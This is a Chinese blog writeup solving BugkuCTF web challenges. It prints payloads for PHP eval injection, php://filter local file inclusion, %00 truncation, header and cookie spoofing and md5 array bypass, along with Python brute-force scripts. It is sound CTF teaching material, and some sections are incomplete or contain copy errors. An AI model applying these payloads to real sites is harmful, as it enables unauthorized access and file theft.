BugkuCTF—Web writeup第一部分

BugkuCTF—Web writeup第一部分

    • web2
    • 计算器
    • web基础$_GET
    • web基础$_POST
    • 矛盾
    • web3
    • 域名解析
    • 你必须让他停下
    • 本地包含
    • 变量1
    • web5
    • 头等舱
    • 网站被黑
    • 管理员系统
    • web4
    • flag在index里
    • 输入密码查看flag
    • 点击一百万次
    • 备份是个好习惯
    • 成绩单
    • 秋名山老司机
    • 速度要快
    • cookies欺骗
    • never give up
    • welcome to bugkuctf
    • 过狗一句话

BugkuCTF链接

web2

分值:20
听说聪明的人都能找到答案

题目地址
BugkuCTF—Web writeup第一部分_第1张图片
进入网页后为持续加快的滑稽表情,查看网页源码得到flag

<body id="body" onLoad="init()">
<!flag KEY{Web-2-bugKssNNikls9100}>

计算器

分值:30
题目地址
计算器
进入页面后,需要计算出结果提交,但输入框被限制了字符限制,查看网页源码:

<span id="code" class="nocode">验证码span> 
<input type="text" class="input" maxlength="1"/> 

将“/”标签中的“maxlength”属性删除掉或修改为适合长度,验证得到flag
BugkuCTF—Web writeup第一部分_第2张图片

web基础$_GET

分值:30
题目地址

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

分析代码:通过GET传参方式输入变量what的值,使变量what等于flag即输出flag,在地址栏构造如下传参:?what=flag,访问得到flag:flag{bugku_get_su8kej2en}

web基础$_POST

分值:30
题目地址

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

分析代码:通过POST传参方式输入变量what的值,使变量what等于flag即输出flag,在地址栏构造如下传参:?what=flag,访问得到flag:flag{bugku_get_su8kej2en}

矛盾

分值:30
题目地址

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

分析代码:通过GET方式传入变量num的值,传入的值不能为数字,但需要等于“1”。
通过“is_numeric()”函数遇到%00截断的漏洞,构造GET传参:?num=1%00,访问后得到flagflag{bugku-789-ps-ssdf}

web3

分值:30
flag就在这里快来找找吧

题目地址

打开后会一直重复两个弹窗:
BugkuCTF—Web writeup第一部分_第3张图片BugkuCTF—Web writeup第一部分_第4张图片
重复点击确定后,弹窗会消失,查看网页源码,发现注释内有一段可疑的编码:


在线HTML解码,得到flag:KEY{J2sa42ahJK-HS11III}

域名解析

分值:50
听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

Windows系统下,访问文件地址:C:\Windows\System32\drivers\etc,在当中的host文件中:
BugkuCTF—Web writeup第一部分_第5张图片
使用记事本打开文件,在其中填入:123.206.87.240 flag.baidu.com
BugkuCTF—Web writeup第一部分_第6张图片
保存文件后,访问http://flag.baidu.com,得到flagKEY{DSAHDSJ82HDS2211}
在这里插入图片描述

你必须让他停下

分值:60
作者:@berTrAM

题目地址

BugkuCTF—Web writeup第一部分_第7张图片
进入一面后会一直刷新,尝试用Burp Suite抓取数据包,Send to Repeater,重复发送几次数据包,在Response中得到flag
BugkuCTF—Web writeup第一部分_第8张图片

本地包含

分值:60
题目地址

//题目源码已给出
 
error_reporting(0); 
include 'flag.php'; 
$a = @$_REQUEST['hello']; 
eval(" var_dump( $a );"); 
highlight_file(__FILE__); 
?>

分析代码:本地包含了flag.php,需要为变量hello赋值,然后将变量a的相关情况作为PHP代码来执行。
我们可以通过eval()函数输出flag.php文件的内容,通过对变量hello赋值:

http://123.206.87.240:8003/?hello=file_get_contents('flag.php')

然后查看网页源码便得到flag


//flag(too-young-too-simple)
//听说中国菜刀挺好用
//是挺好用
?>

变量1

分值:60
题目地址

flag In the variable !
   
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

分析代码:包含有flag1.php,需要通过GET方式传入变量args的值,不能出现大小写字母和数字,在eval()函数中出现可变变量($$args)。

通过eval()函数执行漏洞,PHP在名为 “$GLOBALS[index]” 的数组中存储了所有全局变量。变量的名字就是数组的键。所以将?args=GLOBALS传入,便得到flag
flag

web5

分值:60
JSPFUCK???答案格式CTF{*}
字母大写

题目地址
JSPFUCK
进入页面后有输入框,查看网页源码:
BugkuCTF—Web writeup第一部分_第9张图片
源码中有JSFuck编码JSFuck是一种基于JavaScript的编码方式,它只使用六个不同的字符来编写和执行代码。因为是基于JavaScript,所以可以在浏览器F12控制台直接执行:
BugkuCTF—Web writeup第一部分_第10张图片
将运行后的结果大写,提交检测为真实flag
BugkuCTF—Web writeup第一部分_第11张图片

头等舱

分值:60
题目地址

进入页面后显示:“什么也没有。”,提示为“”,尝试用Burp Suite抓取数据包,Send to Repeater,发送数据包,在Response中得到flag
BugkuCTF—Web writeup第一部分_第12张图片

网站被黑

分值:60
这个题没技术含量但是实战中经常遇到

题目地址
BugkuCTF—Web writeup第一部分_第13张图片
攻击者在黑入网页后,通常会给自己留有后门,尝试通过御剑进行后台扫描:

管理员系统

分值:60
flag格式flag{}

题目地址
BugkuCTF—Web writeup第一部分_第14张图片
查看网页源码,在最底下得到提示:


判断为Base64编码,在线解码Base64,得到解码后的结果:test123
输入用户名:admin及密码:test123登陆,显示:IP禁止访问,请联系本地管理员登陆,IP已被记录.
提示为本地,使用Google Chrome插件ModHeaderHTTP请求头中添加本地地址X-Forwarded-For:127.0.0.1
BugkuCTF—Web writeup第一部分_第15张图片
再次登陆后,得到flagflag{85ff2ee4171396724bae20c0bd851f6b}

web4

分值:80
看看源代码吧

题目地址
BugkuCTF—Web writeup第一部分_第16张图片
提示为看看源代码:

<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
script>

两变量值均为URL编码,根据eval函数所给出的,p1 + %35%34%61%61%32 + p2,在线URL解码,得到源代码:
BugkuCTF—Web writeup第一部分_第17张图片

function checkSubmit()
{
    var a = document.getElementById("password");
    if ("undefined" != typeof a) {
        if ("67d709b2b54aa2aa648cf6e87a7114f1" == a . value)
            return !0;
        alert("Error");
        a . focus();
        return !1
    }
}
document . getElementById("levelQuest") . onsubmit = checkSubmit;

67d709b2b54aa2aa648cf6e87a7114f1提交得到flagKEY{J22JK-HS11}

flag在index里

分值:80
题目地址
进入页面后显示:click me? no,点击跳转到新页面:http://123.206.87.240:8005/post/index.php?file=show.php,页面显示的是show.php页面的内容:test5
尝试使用伪协议读取index.php的源码,构造如下payload?file=php://filter/read=convert.base64-encode/resource=index.php,将index.php的源码转换为base64编码,在线BASE64解码得到源码:

<html>
    <title>Bugku-ctf</title>
    

	error_reporting(0);
	if(!$_GET[file]){echo 'click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

得到flagflag{edulcni_elif_lacol_si_siht}

输入密码查看flag

分值:80
作者:Se7en

题目地址

打开题目后,看到需要输入5位数密码:
BugkuCTF—Web writeup第一部分_第18张图片
地址栏给出提示:http://123.206.87.240:8002/baopo/,使用Burp Suite抓取数据包,获取所需的信息:
BugkuCTF—Web writeup第一部分_第19张图片
可以使用Burp SuiteIntruder模块的功能:
BugkuCTF—Web writeup第一部分_第20张图片
设置类型为数字模式,从1000099999,开始爆破,根据返回长度不同,判断为正确密码:
BugkuCTF—Web writeup第一部分_第21张图片
也可以使用Python3脚本尝试爆破,源码如下:

import requests

url = 'http://123.206.87.240:8002/baopo/'
for i in range(10000, 99999):
    data = {'pwd': i}
    result = requests.post(url, data=data)
    print(i)
    if len(result.text) != 1190:
        print("Right")
        break

得到密码为:13579
BugkuCTF—Web writeup第一部分_第22张图片
输入密码,得到flagflag{bugku-baopo-hah}

点击一百万次

分值:80
hints:JavaScript

题目地址
BugkuCTF—Web writeup第一部分_第23张图片
需要点击一百万次,但提示为JavaScript,查看网页源码:

<script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
          	var form = $('
' + '+ clicks + '" hidden/>' + ''
); $('body').append(form); form.submit(); } }); });
script>

分析代码:存在变量clicks,当变量clicks的值大于1000000时,输出flag
使用Google Chrome的插件HackBar进行POST方式的传参:clicks=1000000
BugkuCTF—Web writeup第一部分_第24张图片
得到flag:flag{Not_C00kI3Cl1ck3r}

备份是个好习惯

分值:80
听说备份是个好习惯

题目地址
进入页面后显示一段字符串:d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e,在线md5解密得到:[空密码]/[Empty String]
根据提示备份,访问index.php.bak,下载到一段源码:


include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str, 1);
$str = str_replace('key', '', $str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if (md5($key1) == md5($key2) && $key1 !== $key2) {
    echo $flag . "取得flag";
}
?>

分析代码: 包含文件flag.php,通过地址栏传入变量的值,strstr() 函数返回?(包含?)之后的字符串,substr() 函数将字符串的?去掉, str_replace() 函数将字符串中的key替换为空,parse_str() 函数把查询字符串解析到变量中,当变量key1的值与变量key2的值不相等,但经过md5加密后的值相等时,输出flag
在地址栏构造如下Payload:?kekeyy1[]=1&kkeyey2[]=2,传递参数得到flag:Bugku{OH_YOU_FIND_MY_MOMY}

成绩单

分值:90
快来查查成绩吧

题目地址
BugkuCTF—Web writeup第一部分_第25张图片
输入合法的数据,显示为正常的页面:
BugkuCTF—Web writeup第一部分_第26张图片
输入超出的数据,得到空白的页面:
BugkuCTF—Web writeup第一部分_第27张图片

秋名山老司机

分值:100
是不是老司机试试就知道。

题目地址
进入页面后显示:
在这里插入图片描述
或者为(多刷新几次):
在这里插入图片描述
即提示为通过POST方式传入变量value的值,

构造如下Python脚本

import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data=post).text)

运行几次得到flag:Bugku{YOU_DID_IT_BY_SECOND}

速度要快

cookies欺骗

分值:100
答案格式:KEY{xxxxxxxx}

题目地址
进入页面后为一串重复字符串,在地址栏发现传参语句:?line=&filename=a2V5cy50eHQ=,变量line值为空,变量filename的值进行在线Base64解码得到keys.txt,判断该传参语句作用为读取文件源码,尝试将变量filename的值修改为index.phpBase64编码,即aW5kZXgucGhw,通过Python脚本,跑出全部源代码:

import requests

url1 = 'http://123.206.87.240:8002/web11/index.php?line='
url2 = '&filename=aW5kZXgucGhw'
for i in range(0, 50):
    url = url1 + str(i) + url2
    re = requests.Session()
    source = re.get(url).text
    print(source)

得到源代码:


error_reporting(0);
$file = base64_decode(isset($_GET['filename']) ? $_GET['filename'] : "");
$line = isset($_GET['line']) ? intval($_GET['line']) : 0;
if ($file == '') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
    '0' => 'keys.txt',
    '1' => 'index.php',
);
if (isset($_COOKIE['margin']) && $_COOKIE['margin'] == 'margin') {
    $file_list[2] = 'keys.php';
}
if (in_array($file, $file_list)) {
    $fa = file($file);
    echo $fa[$line];
}
?>

分析代码:需要设置HTTP请求头信息Cookiemargin=margin,使用BurpSuite抓取数据包,修改信息:
BugkuCTF—Web writeup第一部分_第28张图片
发送数据包,在网页源码中的到flag:

never give up

分值:100
作者:御结冰城

题目地址
进入页面后显示:never never never give up !!!,查看网页源码得到提示:,访问该页面后跳转到CTF论坛首页,直接访问页面源码:view-source:http://123.206.87.240:8006/test/1p.html,得到一段编码提示:


判断为URL编码,将变量var Words的值进行在线URL解码,得到一段Base64编码,在线Base64解码得到一段URL编码,在线URL解码,得到一段源代码:


if (!$_GET['id']) {
    header('Location: hello.php?id=1');
    exit();
}
$id = $_GET['id'];
$a = $_GET['a'];
$b = $_GET['b'];
if (stripos($a, '.')) {
    echo 'no no no no no no no';
    return;
}
$data = @file_get_contents($a, 'r');
if ($data == "bugku is a nice plateform!" and $id == 0 and strlen($b) > 5 and eregi("111" . substr($b, 0, 1), "1114") and substr($b, 0, 1) != 4) {
    require("f4l2a3g.txt");
} else {
    print "never never never give up !!!";
}
?>

访问f4l2a3g.txt得到flagflag{tHis_iS_THe_fLaG}

welcome to bugkuctf

分值:100
作者:pupil

题目地址
BugkuCTF—Web writeup第一部分_第29张图片

过狗一句话

分值:100
送给大家一个过狗一句话

进入页面后显示:此站没有flag,flag被人删了,不用再做了。–一个做题的路人

你可能感兴趣的:(BugCTF,writeup)